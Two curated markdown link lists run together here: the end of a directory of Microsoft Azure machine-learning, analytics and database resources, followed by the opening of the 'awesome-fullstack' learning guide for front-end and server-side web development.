- [Distributed Machine Learning Toolkit](http://www.dmtk.io/)
- [Microsoft ML Server - MicrosoftML Package](https://docs.microsoft.com/en-us/machine-learning-server/r/concept-what-is-the-microsoftml-package)
- [Visual Studio Tools for AI](https://www.visualstudio.com/downloads/ai-tools-vs/)
- Microsoft Cognitive Toolkit (CNTK)
- [Overview](https://www.microsoft.com/en-us/cognitive-toolkit/)
- [Blog](https://www.microsoft.com/en-us/cognitive-toolkit/blog/)
- [Documentation](https://docs.microsoft.com/en-us/cognitive-toolkit/)
- [Model Gallery](https://www.microsoft.com/en-us/cognitive-toolkit/features/model-gallery/)
- [Python API](https://www.cntk.ai/pythondocs/index.html)
- [Course Learning Materials](https://azure.github.io/learnAnalytics-DeepLearning-Azure/)
- [Learning Plan - AI Applications](https://learnanalytics.microsoft.com/learningpaths/developing-advanced-ai-applications)
- [Train & Serve Models with Kubernetes](https://blogs.technet.microsoft.com/machinelearning/2017/09/06/how-to-use-cognitive-toolkit-cntk-with-kubernetes-on-azure/)
- [edX Course: Deep Learning Explained](https://www.edx.org/course/deep-learning-explained-microsoft-dat236x-0)
- e-books:
- [Deep Learning with Azure: Building and Deploying Artificial Intelligence Solutions on the Microsoft AI Platform](https://read.amazon.com/kp/embed?asin=B07FP8P5R8&preview=newtab&linkCode=kpe&ref_=cm_sw_r_kb_dp_DpYfFbZ97Q8ZD) - by Mathew Salvaris, Danielle Dean, Wee Hyong Tok
- [Recommenders](https://github.com/microsoft/recommenders)
#### Jupyter Notebooks
*A web application to create documents containing live code, visualizations and explanatory text*
- [Standalone Notebooks](https://notebooks.azure.com/)
- [Azure ML Studio Notebooks](https://gallery.azure.ai/notebooks)
- [Azure HDInsight Spark Notebooks](https://docs.microsoft.com/en-us/azure/hdinsight/spark/apache-spark-jupyter-notebook-kernels)
- Azure Notebooks
- Azure Machine Learning Notebook VMs
#### Microsoft Machine Learning Server
*A scalable and deployable enterprise-grade R and Python analytics platform*
- [Overview](https://www.microsoft.com/en-us/sql-server/machinelearningserver)
- [Documentation](https://docs.microsoft.com/en-us/machine-learning-server/index)
- [ML Server Blog](https://blogs.msdn.microsoft.com/mlserver/)
- [Tiger Team Blog](https://blogs.msdn.microsoft.com/microsoftrservertigerteam/)
- [Revolution Analytics Blog](http://blog.revolutionanalytics.com/)
- Python
- [Client](https://docs.microsoft.com/en-us/machine-learning-server/install/python-libraries-interpreter)
- [Function Library](https://docs.microsoft.com/en-us/machine-learning-server/python-reference/introducing-python-package-reference)
- [Tutorials](https://docs.microsoft.com/en-us/machine-learning-server/python/tutorial-revoscalepy-pyspark)
- [Samples](https://docs.microsoft.com/en-us/machine-learning-server/python/python-samples)
- [Deploy and Manage Web Services](https://docs.microsoft.com/en-us/machine-learning-server/operationalize/python/how-to-deploy-manage-web-services)
- [SQL Server Python Tutorials](https://docs.microsoft.com/en-us/sql/advanced-analytics/tutorials/sql-server-python-tutorials)
- [Tools for Visual Studio](https://docs.microsoft.com/en-us/visualstudio/python/python-in-visual-studio)
- R
- [Client](https://docs.microsoft.com/en-us/machine-learning-server/r-client/what-is-microsoft-r-client)
- [Function Library](https://docs.microsoft.com/en-us/machine-learning-server/r-reference/introducing-r-server-r-package-reference)
- [Tutorials](https://docs.microsoft.com/en-us/machine-learning-server/r/tutorial-introduction)
- [Samples](https://docs.microsoft.com/en-us/machine-learning-server/r/r-samples)
- [Deploy and Manage Web Services](https://docs.microsoft.com/en-us/machine-learning-server/operationalize/how-to-deploy-web-service-publish-manage-in-r)
- [SQL Server R tutorials](https://docs.microsoft.com/en-us/sql/advanced-analytics/tutorials/sql-server-r-tutorials)
- [Tools for Visual Studio](https://docs.microsoft.com/en-us/visualstudio/rtvs/)
- SQL Server ML Services
- [Overview](https://docs.microsoft.com/en-us/sql/advanced-analytics/getting-started-with-machine-learning-services)
- [Tutorials](https://docs.microsoft.com/en-us/sql/advanced-analytics/tutorials/machine-learning-services-tutorials)
- [R Samples & Templates](https://github.com/Microsoft/SQL-Server-R-Services-Samples)
- [Model Management](https://blogs.technet.microsoft.com/dataplatforminsider/2016/10/17/sql-server-as-a-machine-learning-model-management-system/)
- [eBook: Data Science with SQL Server](https://blogs.technet.microsoft.com/machinelearning/2016/10/19/data-science-with-microsoft-sql-server-2016-free-ebook/)
- [Compute Contexts](https://docs.microsoft.com/en-us/machine-learning-server/r/concept-what-is-compute-context)
- [Operationalization of Models](https://docs.microsoft.com/en-us/machine-learning-server/operationalize/concept-operationalize-deploy-consume)
- [Configuring ML Server to Operationalize Analytics on Azure](https://blogs.msdn.microsoft.com/mlserver/2017/11/21/configuring-microsoft-machine-learning-server-to-operationalize-analytics-using-arm-templates/)
- [Microsoft R Application Network](https://mran.microsoft.com/)
- [Revolution Analytics GitHub Repos](https://github.com/RevolutionAnalytics)
- [Sample Code and Data for R Server and R Client](https://github.com/Microsoft/microsoft-r)
- [A Collection of Simple R Demos](https://github.com/bensadeghi/R-demos/tree/master/MS-R)
- [eBook: Introduction to Microsoft R](https://smott.gitbooks.io/introduction-to-microsoft-r-server/content/)
- [Video Series: Introduction to Microsoft R](https://channel9.msdn.com/Series/Microsoft-R-Server-Series)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=Microsoft%20R%20Server)
- - -
## Cloud Scale Analytics
### Azure Analysis Services
*An enterprise-grade data modeling engine in the cloud*
- [Overview](https://azure.microsoft.com/en-us/services/analysis-services/)
- [Blog](https://blogs.msdn.microsoft.com/analysisservices/)
- [Documentation](https://docs.microsoft.com/en-us/azure/analysis-services/)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=Azure%20Analysis%20Services)
### Azure Cosmos DB
*A globally distributed, multi-model NoSQL database service: key-value, graph, document (JSON)*
- [Overview](https://azure.microsoft.com/en-us/services/cosmos-db/)
- [Technical Overview](https://azure.microsoft.com/en-us/blog/a-technical-overview-of-azure-cosmos-db/)
- [Documentation](https://docs.microsoft.com/en-us/azure/cosmos-db/)
- Multi-Model APIs
- [Apache Cassandra](https://docs.microsoft.com/en-us/azure/cosmos-db/cassandra-introduction)
- [DocumentDB](https://docs.microsoft.com/en-us/azure/cosmos-db/documentdb-introduction)
- [Graph (Gremlin, TinkerPop)](https://docs.microsoft.com/en-us/azure/cosmos-db/graph-introduction)
- [MongoDB](https://docs.microsoft.com/en-us/azure/cosmos-db/mongodb-introduction)
- [Table (key-value)](https://docs.microsoft.com/en-us/azure/cosmos-db/table-introduction)
- [Query Cheat Sheets](https://docs.microsoft.com/en-us/azure/cosmos-db/query-cheat-sheet)
- [Frequently Asked Questions](https://docs.microsoft.com/en-us/azure/cosmos-db/faq)
- [Consistency Levels](https://docs.microsoft.com/en-us/azure/cosmos-db/consistency-levels)
- [Serverless Database Computing](https://docs.microsoft.com/en-us/azure/cosmos-db/serverless-computing-database)
- [Capacity Planner](https://www.documentdb.com/capacityplanner)
- [Local Emulator](https://docs.microsoft.com/en-us/azure/cosmos-db/local-emulator)
- [Database Migration Tool](https://docs.microsoft.com/en-us/azure/documentdb/documentdb-import-data)
- [GitHub Repository](https://github.com/CosmosDB)
- [Workshop Labs](https://cosmosdb.github.io/labs/)
- [Hands-On Lab](https://github.com/Microsoft/developer-immersion-data/blob/master/labs/awbexperience4/story_a_cosmosdb/Intro.md)
- [DocumentDB Query Playground](https://www.documentdb.com/sql/demo)
- [DocumentDB 10 GitHub Samples](https://azure.microsoft.com/en-us/blog/10-github-samples-with-azure-documentdb-you-shouldn-t-miss/)
- [Free Course on edX](https://www.edx.org/course/developing-planet-scale-applications-microsoft-dat237x)
- e-books:
- [Guide to NoSQL with Azure Cosmos DB](https://azure.microsoft.com/en-us/resources/guide-to-nosql-with-azure-cosmos-db/en-us/)
- [Microsoft Azure Cosmos DB Revealed: A Multi-Modal Database Designed for the Cloud](https://read.amazon.com/kp/embed?asin=B077G9STX2&preview=newtab&linkCode=kpe&ref_=cm_sw_r_kb_dp_lrYfFb9ERFY55) - by José Rolando Guay Paz
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=cosmos%20DB)
### Azure Database for MariaDB
*An enterprise-ready, fully managed community MariaDB*
- [Overview](https://azure.microsoft.com/en-us/services/mariadb/)
- [Documentation](https://docs.microsoft.com/en-us/azure/mariadb/)
### Azure Database for MySQL
*An enterprise-ready, fully managed community MySQL*
- [Overview](https://azure.microsoft.com/en-us/services/mysql/)
- [Documentation](https://docs.microsoft.com/en-us/azure/mysql/)
### Azure Database for PostgreSQL
*An enterprise-ready, fully managed community PostgreSQL*
- [Overview](https://azure.microsoft.com/en-us/services/postgresql/)
- [Documentation](https://docs.microsoft.com/en-us/azure/postgresql/)
### Azure Databricks
*A fast, easy, and collaborative Apache Spark-based analytics platform*
- [Overview](https://azure.microsoft.com/en-us/campaigns/databricks/)
- [Technical Overview](https://azure.microsoft.com/en-us/blog/a-technical-overview-of-azure-databricks/)
- [Databricks Blog](https://databricks.com/blog/)
- [Microsoft Blog](https://azure.microsoft.com/en-us/blog/tag/azure-databricks/)
- [Documentation](https://docs.microsoft.com/en-us/azure/azure-databricks/)
- [Knowledge Base](https://docs.microsoft.com/en-us/azure/databricks/kb/)
- [Product News](https://databricks.com/product/azure-product-news)
- [Frequently Asked Questions](https://docs.microsoft.com/en-us/azure/azure-databricks/frequently-asked-questions-databricks)
- [Databricks Academy](https://academy.databricks.com/)
- [Reference Architectures](https://azure.microsoft.com/en-us/blog/implementation-patterns-for-big-data-and-data-warehouse-on-azure/)
- [Modern Data Warehouse](https://docs.microsoft.com/en-us/azure/architecture/solution-ideas/articles/modern-data-warehouse)
- [Real-Time Analytics](https://docs.microsoft.com/en-us/azure/architecture/solution-ideas/articles/real-time-analytics)
- [Advanced Analytics](https://docs.microsoft.com/en-us/azure/architecture/solution-ideas/articles/advanced-analytics-on-big-data)
- Guides
- [Administration](https://docs.microsoft.com/en-us/azure/databricks/administration-guide/)
- [Apache Spark](https://docs.microsoft.com/en-us/azure/databricks/getting-started/spark/)
- [Best Practices](https://github.com/Azure/AzureDatabricksBestPractices/blob/master/toc.md)
- [Data Sources](https://docs.microsoft.com/en-us/azure/databricks/data/data-sources/)
- [Delta Lake](https://docs.microsoft.com/en-us/azure/databricks/delta/)
- [Machine Learning](https://docs.microsoft.com/en-us/azure/databricks/applications/machine-learning/)
- [Deep Learning](https://docs.microsoft.com/en-us/azure/databricks/applications/deep-learning/)
- [MLflow](https://docs.microsoft.com/en-us/azure/databricks/applications/mlflow/)
- [Security & Privacy](https://docs.microsoft.com/en-us/azure/databricks/security/)
- [Structured Streaming](https://docs.microsoft.com/en-us/azure/databricks/spark/latest/structured-streaming/)
- Tutorials
- [Perform ETL Operations, Load Into Synapse (SQL-DW)](https://docs.microsoft.com/en-us/azure/azure-databricks/databricks-extract-load-sql-data-warehouse)
- [Use Cosmos DB Service Endpoint](https://docs.microsoft.com/en-us/azure/azure-databricks/service-endpoint-cosmosdb)
- [Stream Data Using Event Hubs](https://docs.microsoft.com/en-us/azure/azure-databricks/databricks-stream-from-eventhubs)
- Learning Paths
- [Data Engineering with Azure Databricks (new)](https://docs.microsoft.com/en-us/learn/paths/data-engineer-azure-databricks/)
- [Perform Data Engineering with Azure Databricks](https://docs.microsoft.com/en-us/learn/paths/data-engineering-with-databricks/)
- [Perform Data Science with Azure Databricks (new)](https://docs.microsoft.com/en-us/learn/paths/perform-data-science-azure-databricks/)
- [Extract Knowledge & Insights from Your Data with ADB](https://docs.microsoft.com/en-us/learn/paths/data-science/)
- [Koalas - Pandas API on Spark](https://github.com/databricks/koalas)
- [Integration with Azure ML Service](https://github.com/Azure/MachineLearningNotebooks/tree/master/how-to-use-azureml/azure-databricks)
- [Microsoft ML for Apache Spark](http://aka.ms/spark)
- [Connector to IDEs](https://docs.microsoft.com/en-us/azure/databricks/dev-tools/databricks-connect)
- [Example Notebooks](https://databricks.com/resources/type/example-notebook)
- Example Pipelines - [Anomaly Detection](https://github.com/devlace/azure-databricks-anomaly), [Recommendation System](https://github.com/devlace/azure-databricks-recommendation)
- [Free eBooks](https://databricks.com/resources/type/ebooks)
- [On-Demand Webinars](https://databricks.com/resources/type/webinars/)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=databricks&lang-en=true)
### Azure Data Catalog
*A tool to register, enrich, discover, understand, and consume data sources*
- [Overview](https://azure.microsoft.com/en-us/services/data-catalog/)
- [Documentation](https://docs.microsoft.com/en-us/azure/data-catalog/)
- [Frequently Asked Questions](https://docs.microsoft.com/en-us/azure/data-catalog/data-catalog-frequently-asked-questions)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=Data%20Catalog)
### Azure Data Explorer
*A fast and highly scalable data exploration service*
- [Overview](https://azure.microsoft.com/en-us/services/data-explorer/)
- [Documentation](https://docs.microsoft.com/en-us/azure/data-explorer/)
- [Query Language](https://docs.microsoft.com/en-us/azure/kusto/query/)
- [Data Ingestion Overview](https://docs.microsoft.com/en-us/azure/data-explorer/ingest-data-overview)
- [Blog Post: Technology 101](https://azure.microsoft.com/en-us/blog/azure-data-explorer-technology-101/)
### Azure Data Factory
*A globally deployed data movement, orchestration, scheduling, and monitoring service*
- [Overview](https://azure.microsoft.com/en-us/services/data-factory/)
- [Blog](https://azure.microsoft.com/en-us/blog/tag/azure-data-factory/)
- [Documentation](https://azure.microsoft.com/en-us/documentation/services/data-factory/)
- [Frequently Asked Questions](https://docs.microsoft.com/en-us/azure/data-factory/data-factory-faq)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=Data%20Factory)
### Azure Data Lake
*A distributed storage and analytics service that scales dynamically*
- [Overview](https://azure.microsoft.com/en-us/solutions/data-lake/)
- [Blog](https://blogs.msdn.microsoft.com/azuredatalake/)
- [GitHub Repo](https://github.com/Azure/AzureDataLake)
- [Data Lake Store Documentation](https://azure.microsoft.com/en-us/documentation/services/data-lake-store/)
- [Data Lake Analytics Documentation](https://azure.microsoft.com/en-us/documentation/services/data-lake-analytics/)
- [Walkthrough: Scalable Data Science](https://docs.microsoft.com/en-us/azure/machine-learning/team-data-science-process/data-lake-walkthrough)
- [Video Series](https://channel9.msdn.com/Series/AzureDataLake)
- [Introducing U-SQL](http://usql.io/)
- [U-SQL Language Reference](https://msdn.microsoft.com/en-US/library/azure/mt591959(Azure.100).aspx)
- [AdlCopy Tool](https://azure.microsoft.com/en-us/documentation/articles/data-lake-store-copy-data-azure-storage-blob/)
- [Tools for Visual Studio](https://azure.microsoft.com/en-us/documentation/articles/data-lake-analytics-data-lake-tools-get-started/)
- [Online Training - MVA](https://azure.microsoft.com/en-us/blog/online-training-for-azure-data-lake/)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=Azure%20Data%20Lake)
### Azure Event Hubs
*A cloud-scale telemetry ingestion from websites, apps, and devices*
- [Overview](https://azure.microsoft.com/en-us/services/event-hubs/)
- [Documentation](https://azure.microsoft.com/en-us/documentation/articles/event-hubs-overview/)
- [Frequently Asked Questions](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-faq)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=event%20hubs)
### Azure HDInsight
*A managed Apache Hadoop, Spark, Storm, HBase, and R cloud service*
- [Overview](https://azure.microsoft.com/en-in/services/hdinsight/)
- [Blog](https://blogs.msdn.microsoft.com/azuredatalake/)
- [Documentation](https://azure.microsoft.com/en-us/documentation/services/hdinsight/)
- [Frequently Asked Questions](https://hdinsight.github.io/)
- [Developer Guide (pdf)](https://github.com/hdinsight/hdinsight-dev-guide/blob/master/HDInsight%20Developer%20Guide.pdf)
- [Apache Hive, Interactive](https://docs.microsoft.com/en-us/azure/hdinsight/hdinsight-hadoop-use-interactive-hive)
- [Apache Pig](https://azure.microsoft.com/en-us/documentation/articles/hdinsight-use-pig/)
- [Apache Kafka](https://docs.microsoft.com/en-us/azure/hdinsight/hdinsight-apache-kafka-introduction)
- [Apache Storm](https://azure.microsoft.com/en-us/documentation/articles/hdinsight-storm-overview/)
- [Apache Spark](https://azure.microsoft.com/en-us/documentation/articles/hdinsight-apache-spark-overview/)
- [Apache HBase](https://azure.microsoft.com/en-us/documentation/articles/hdinsight-hbase-overview/)
- [Apache Solr](https://azure.microsoft.com/en-us/documentation/articles/hdinsight-hadoop-solr-install-linux/)
- [Apache Giraph](https://azure.microsoft.com/en-us/documentation/articles/hdinsight-hadoop-giraph-install-linux/)
- [Microsoft R Server](https://azure.microsoft.com/en-us/documentation/articles/hdinsight-hadoop-r-server-overview/)
- [Presto](https://docs.microsoft.com/en-us/azure/hdinsight/hdinsight-hadoop-install-presto)
- [Hue](https://azure.microsoft.com/en-us/documentation/articles/hdinsight-hadoop-hue-linux/)
- [Tools & Samples GitHub Repo](https://github.com/hdinsight)
- [Microsoft Machine Learning for Spark](https://github.com/Azure/mmlspark)
- [Comprehensive Guide](https://azure.microsoft.com/en-us/blog/get-up-to-speed-with-azure-hdinsight-the-comprehensive-guide/)
- [Free eBook on HDInsight](https://blogs.msdn.microsoft.com/microsoft_press/2014/05/27/free-ebook-introducing-microsoft-azure-hdinsight/)
- [edX.org XSeries Program](https://www.edx.org/xseries/microsoft-azure-hdinsight-big-data-analyst)
- [Tools for Visual Studio](https://azure.microsoft.com/en-us/documentation/articles/hdinsight-hadoop-visual-studio-tools-get-started/)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=hdinsight)
### Azure IoT
*Cloud services to connect, monitor, and manage billions of IoT assets*
- [Azure IoT Overview](https://azure.microsoft.com/en-us/overview/iot/)
- [Blog](https://azure.microsoft.com/en-us/blog/topics/internet-of-things/)
- [Awesome Azure: IoT](https://github.com/Azure/iot)
- [IoT School](https://iotschool.microsoft.com/learning-paths)
- [IoT Solution Accelerators](https://azure.microsoft.com/en-us/features/iot-accelerators/)
- [IoT DevKit](https://microsoft.github.io/azure-iot-developer-kit/)
- [IoT Central Overview](https://azure.microsoft.com/en-us/services/iot-central/)
- [IoT Central Documentation](https://docs.microsoft.com/en-us/azure/iot-central/)
- [IoT Hub Overview](https://azure.microsoft.com/en-us/services/iot-hub/)
- [IoT Hub Documentation](https://docs.microsoft.com/en-us/azure/iot-hub/)
- [IoT Edge Overview](https://azure.microsoft.com/en-us/services/iot-edge/)
- [IoT Edge Documentation](https://docs.microsoft.com/en-us/azure/iot-edge/)
- [AI Toolkit for IoT Edge](https://github.com/Azure/ai-toolkit-iot-edge)
- [Developer Center](https://azure.microsoft.com/en-us/develop/iot/)
- [Hands on Labs](https://github.com/Azure-Samples/azureiotlabs)
- [Certified IoT Devices](https://catalog.azureiotsuite.com/)
- [edX MOOC: Developing IoT Solutions with Azure IoT](https://www.edx.org/course/developing-iot-solutions-azure-iot-microsoft-dev225x-0)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=iot&lang-en=true)
### Azure Redis Cache
*A secure, managed, dedicated Redis cache*
- [Overview](https://azure.microsoft.com/en-us/services/cache/)
- [Documentation](https://docs.microsoft.com/en-us/azure/redis-cache/)
- [Frequently Asked Questions](https://docs.microsoft.com/en-us/azure/redis-cache/cache-faq)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=redis%20cache)
### Azure SQL Database
*A managed cloud database for app developers*
- [Overview](https://azure.microsoft.com/en-us/services/sql-database/)
- [Documentation](https://docs.microsoft.com/en-us/azure/sql-database/)
- [Elastic DB Features](https://azure.microsoft.com/en-us/documentation/learning-paths/sql-database-elastic-scale/)
- [Azure Data Studio](https://docs.microsoft.com/en-us/sql/azure-data-studio/)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=azure%20sql%20database)
### Azure SQL Data Warehouse
*An elastic data warehouse as a service with enterprise-class features*
- [Overview](https://azure.microsoft.com/en-us/services/sql-data-warehouse/)
- [Blog](https://azure.microsoft.com/en-us/blog/tag/azure-sql-data-warehouse/)
- [Documentation](https://azure.microsoft.com/en-us/documentation/services/sql-data-warehouse/)
- [PolyBase Guide](https://azure.microsoft.com/en-us/documentation/articles/sql-data-warehouse-load-polybase-guide/)
- [sqlcmd Utility](https://msdn.microsoft.com/library/ms162773.aspx)
- [Automatic Scaling Template](https://github.com/Microsoft/sql-data-warehouse-samples/tree/master/arm-templates/sqlDwAutoScaler)
- [PowerShell Commandlets & REST APIs](https://azure.microsoft.com/en-us/documentation/articles/sql-data-warehouse-reference-powershell-cmdlets/)
- [DWU Calculator](http://dwucalculator.azurewebsites.net/)
- [edX.org Course](https://www.edx.org/course/delivering-data-warehouse-cloud-microsoft-dat220x)
- [Query from Visual Studio](https://azure.microsoft.com/en-us/documentation/articles/sql-data-warehouse-query-visual-studio/)
- [Azure Data Studio](https://docs.microsoft.com/en-us/sql/azure-data-studio/)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=sql%20data%20warehouse)
### Azure Stream Analytics
*A fully managed, SQL-based, real-time event processing engine*
- [Overview](https://azure.microsoft.com/en-us/services/stream-analytics/)
- [Blog](https://blogs.msdn.microsoft.com/streamanalytics/)
- [Documentation](https://azure.microsoft.com/en-us/documentation/services/stream-analytics/)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=stream%20analytics)
### Azure Time Series Insights
*A fully managed analytics, storage, and visualization service to explore and analyze IoT events*
- [Overview](https://azure.microsoft.com/en-us/services/time-series-insights/)
- [Documentation](https://docs.microsoft.com/en-us/azure/time-series-insights/time-series-insights-overview)
- [Portal](https://insights.timeseries.azure.com/)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=time%20series%20insights)
### Microsoft Power BI
*A suite of business analytics tools to analyze data, create visualizations and share insights*
- [Overview](https://powerbi.microsoft.com/en-us/)
- [Blog](https://powerbi.microsoft.com/en-us/blog/)
- [Documentation](https://powerbi.microsoft.com/en-us/documentation/powerbi-landing-page/)
- [Guided Learning](https://powerbi.microsoft.com/en-us/guided-learning/)
- [edX.org Course](https://www.edx.org/course/analyzing-visualizing-data-power-bi-microsoft-dat207x-3)
- [Custom Visuals Gallery](https://app.powerbi.com/visuals/)
- Power BI Desktop
- [Overview](https://powerbi.microsoft.com/en-us/desktop/)
- [Documentation](https://powerbi.microsoft.com/en-us/documentation/powerbi-desktop-get-the-desktop/)
- [Create Visuals Using R](https://powerbi.microsoft.com/en-us/documentation/powerbi-desktop-r-visuals/)
- [Use R in Query Editor](https://powerbi.microsoft.com/en-us/documentation/powerbi-desktop-r-in-query-editor/)
- Power BI Embedded
- [Overview](https://azure.microsoft.com/en-us/services/power-bi-embedded/)
- [Documentation](https://azure.microsoft.com/en-us/documentation/services/power-bi-embedded/)
- Power BI Report Server
- [Overview](https://powerbi.microsoft.com/en-us/report-server/)
- [Documentation](https://powerbi.microsoft.com/en-us/documentation/reportserver-get-started/)
- Power BI Service
- [Overview](https://powerbi.microsoft.com/en-us/features/)
- [Documentation](https://powerbi.microsoft.com/en-us/documentation/powerbi-service-basic-concepts/)
- [REST API Documentation](https://msdn.microsoft.com/en-us/library/dn877544.aspx)
- [Channel 9 Videos](https://channel9.msdn.com/Search?term=Power%20BI)
|
# awesome-fullstack [](http://makeapullrequest.com) [](https://github.com/sindresorhus/awesome) [](https://opensource.org/licenses/MIT)
> A curated list on how to Full Stack
Learn front-end, middle-tier, back-end tier, algorithms, and continuous delivery. Note: if you
go to stackoverflow and click any tag, then go to the info tab, it should contain resources about that tag.
# What to Learn
>1. [Front End](https://github.com/kevindeasis/awesome-fullstack#front-end-tier)
2. [Middle Tier (Servers)](https://github.com/kevindeasis/awesome-fullstack#middle-tier)
3. [Backend Tier (Database)](https://github.com/kevindeasis/awesome-fullstack#back-end-tier-database)
4. [Dev-Ops,Product Management,Deployment, etc](https://github.com/kevindeasis/awesome-fullstack#dev-ops-continuous-deliveryintegrationdeployment)
5. [Algorithms, AI, ML](https://github.com/kevindeasis/awesome-fullstack#algorithms-and-data-structures)
6. [Community](https://github.com/kevindeasis/awesome-fullstack#community)
7. [Open Sourcing: TBD](#)
9. [Interview Preparation](https://github.com/kevindeasis/awesome-fullstack#interview-preparation)
10. [Jobs](https://github.com/kevindeasis/awesome-fullstack#jobs)
11. [Other](https://github.com/kevindeasis/awesome-fullstack#other)
12. [Youtube Videos](https://news.ycombinator.com/item?id=12702651)
## License
MIT
## Contribute
> Contributions are welcome! Just do a pull request!
- **Working on your first Pull Request?** You can learn how from this *free* series [How to Contribute to an Open Source Project on GitHub](https://egghead.io/series/how-to-contribute-to-an-open-source-project-on-github)
# Front-end tier
> What people see; User Interface / User Experience / Client Side / Design / Games / Mobile / T.V. / Hardware
[Front End Developer HandBook](https://frontendmasters.gitbooks.io/front-end-handbook/content/index.html)
>1. **HTML**
- [Intro](https://github.com/kevindeasis/awesome-fullstack#html-intro)
2. **CSS**
1. [Intro](https://github.com/kevindeasis/awesome-fullstack#css-intro)
2. [Animations](https://robots.thoughtbot.com/css-animation-for-beginners)
- [Css animation for beginners (Youtube)](https://www.youtube.com/watch?v=D9YQBaDBJ88)
- [How well do you know display](https://www.chenhuijing.com/blog/how-well-do-you-know-display/)
3. **Javascript**
1. [Intro](https://github.com/kevindeasis/awesome-fullstack#js-intro)
2. [Jquery](https://github.com/kevindeasis/awesome-fullstack#jquery-intro)
3. [JS Intermediate](https://github.com/kevindeasis/awesome-fullstack#js-intermediate)
4. [Awesome JS](https://github.com/kevindeasis/awesome-fullstack#awesome-js-list)
4. **Client Side Development (Web)**
- MVC-ish Frameworks
- [React](https://github.com/kevindeasis/awesome-fullstack#react)
- [Redux](https://github.com/kevindeasis/awesome-fullstack#redux)
- [Learn Relay](https://learnrelay.org/)
- [Agular 2](https://github.com/AngularClass/awesome-angular2)
- [Agular 1](https://github.com/gianarb/awesome-angularjs)
- [Backbone](https://github.com/sadcitizen/awesome-backbone)
- [Ember](https://github.com/nmec/awesome-ember)
- [Mithril](https://github.com/lhorie/mithril)
- Build Tools
- [Webpack](https://webpack.github.io/docs/tutorials/getting-started/)
- [Browserify](http://browserify.org/)
- [Gulp](https://github.com/alferov/awesome-gulp)
- [Grunt](http://gruntjs.com/)
- Web App (Tools / Libraries / Frameworks)
1. CSS / Stylesheet language
- [Inline Styles](https://github.com/erikras/react-redux-universal-hot-example/blob/master/docs/InlineStyles.md)
- [Sass](http://sass-lang.com/)
- [Less](http://lesscss.org/)
2. Web Framework
- [Materialize](http://materializecss.com/)
- [Bootstrap](http://getbootstrap.com/)
- [Google Material Design Lite](https://getmdl.io/)
- [Foundation](http://foundation.zurb.com/)
- Testing
- [Selenium](http://www.seleniumhq.org/)
- [Jest](https://facebook.github.io/jest/)
- [Mocha](https://mochajs.org/)
- [Jasmine](jasmine.github.io/)
- [Chai](chaijs.com/)
- [Sinon](sinonjs.org/)
- Tools
- [Google Analytics](https://www.google.ca/analytics/)
- [Crazy Egg](https://www.crazyegg.com/)
- [Sumo Me](https://sumome.com/app/heat-maps)
- Checklist
- [Web Checklist](http://webdevchecklist.com/), [Github](https://github.com/ligershark/webdevchecklist.com)
- [Landing Page Checklist](http://unbounce.com/landing-pages/checklist/)
- [Website Laung Checklist](https://news.ycombinator.com/item?id=9522885)
- [Web Components](https://github.com/webcomponents/gold-standard/wiki)
- [Web checklist](http://tryblocks.com/departure/index.html)
5. **Design, Copy Writing, SEO, Optimization**
- [Awesome Design, UI/UX](https://github.com/kevindeasis/awesome-ui)
- [Design Resources in HH Design](https://medium.com/hh-design/design-resources-5071be5f2e43)
- [Optimization](https://github.com/davidsonfellipe/awesome-wpo)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization)
- [Web Components the right way](https://github.com/mateusortiz/webcomponents-the-right-way)
6. **Mobile**
1. [Android](https://github.com/JStumpp/awesome-android)
2. [Ios Swift](https://github.com/matteocrippa/awesome-swift) OR [awesome ios](https://github.com/vsouza/awesome-ios)
3. [Windows](https://developer.microsoft.com/en-us/windows)
4. [Black Berry](https://developer.blackberry.com/)
5. [Native Script](https://www.nativescript.org/)
6. [React Native](https://github.com/kevindeasis/awesome-fullstack#react-native)
7. **Gaming**
0. [Amit's Gaming Programming Information](http://www-cs-students.stanford.edu/~amitp/gameprog.html)
1. [Unity](https://unity3d.com/)
2. [Unreal Engine](https://www.unrealengine.com/what-is-unreal-engine-4)
3. [GameMaker](http://www.yoyogames.com/gamemaker)
4. [Construct2](https://www.scirra.com/construct2)
5. [Playmaker](http://www.hutonggames.com/showcase.html)
6. [Stencyl](http://www.stencyl.com/)
7. [Godot](http://www.godotengine.org/)
8. [Amazon Lumberyard](http://aws.amazon.com/lumberyard/)
9. [2D resources](https://www.reddit.com/r/Unity2D/comments/3dfi5k/lets_create_a_list_of_all_100_free_2d_assets_with/)
10. [2D unity rpg tutorial](https://www.youtube.com/watch?v=NNpLsimyu3I&index=1&list=PL_4rJ_acBNMH3SExL3yIOzaqj5IP5CJLC)
8. **IoT**
1. [Arduino](https://github.com/Lembed/Awesome-arduino)
2. [Raspberry Pi](https://github.com/blackout314/awesome-raspberry-pi)
9. [**Embedded**](http://www.instructables.com/tag/type-id/category-technology/)
10. Desktop
1. [Awesome Electron](https://github.com/sindresorhus/awesome-electron)
# Middle-tier
>The endpoint that talks to the client-side and the database
>1. [**Web Servers by language**](https://github.com/kevindeasis/awesome-fullstack#server-side)
- [GraphQL](https://learngraphql.com)
- [C](https://github.com/kozross/awesome-c)
- [C++](https://github.com/fffaraz/awesome-cpp)
- [C# / Dotnet](https://github.com/quozd/awesome-dotnet)
- [Elixir/Erlang](http://www.phoenixframework.org/docs/learning-elixir-and-erlang)
- [Go](https://github.com/kevindeasis/awesome-fullstack#go-server)
- [Java](https://github.com/akullpp/awesome-java)
- [Javascript](https://github.com/kevindeasis/awesome-fullstack#javascript-server)
- [PHP](https://github.com/ziadoz/awesome-php)
- [Python](https://github.com/vinta/awesome-python)
- [Ruby](https://github.com/kevindeasis/awesome-fullstack#ruby)
- [Scala](https://github.com/lauris/awesome-scala)
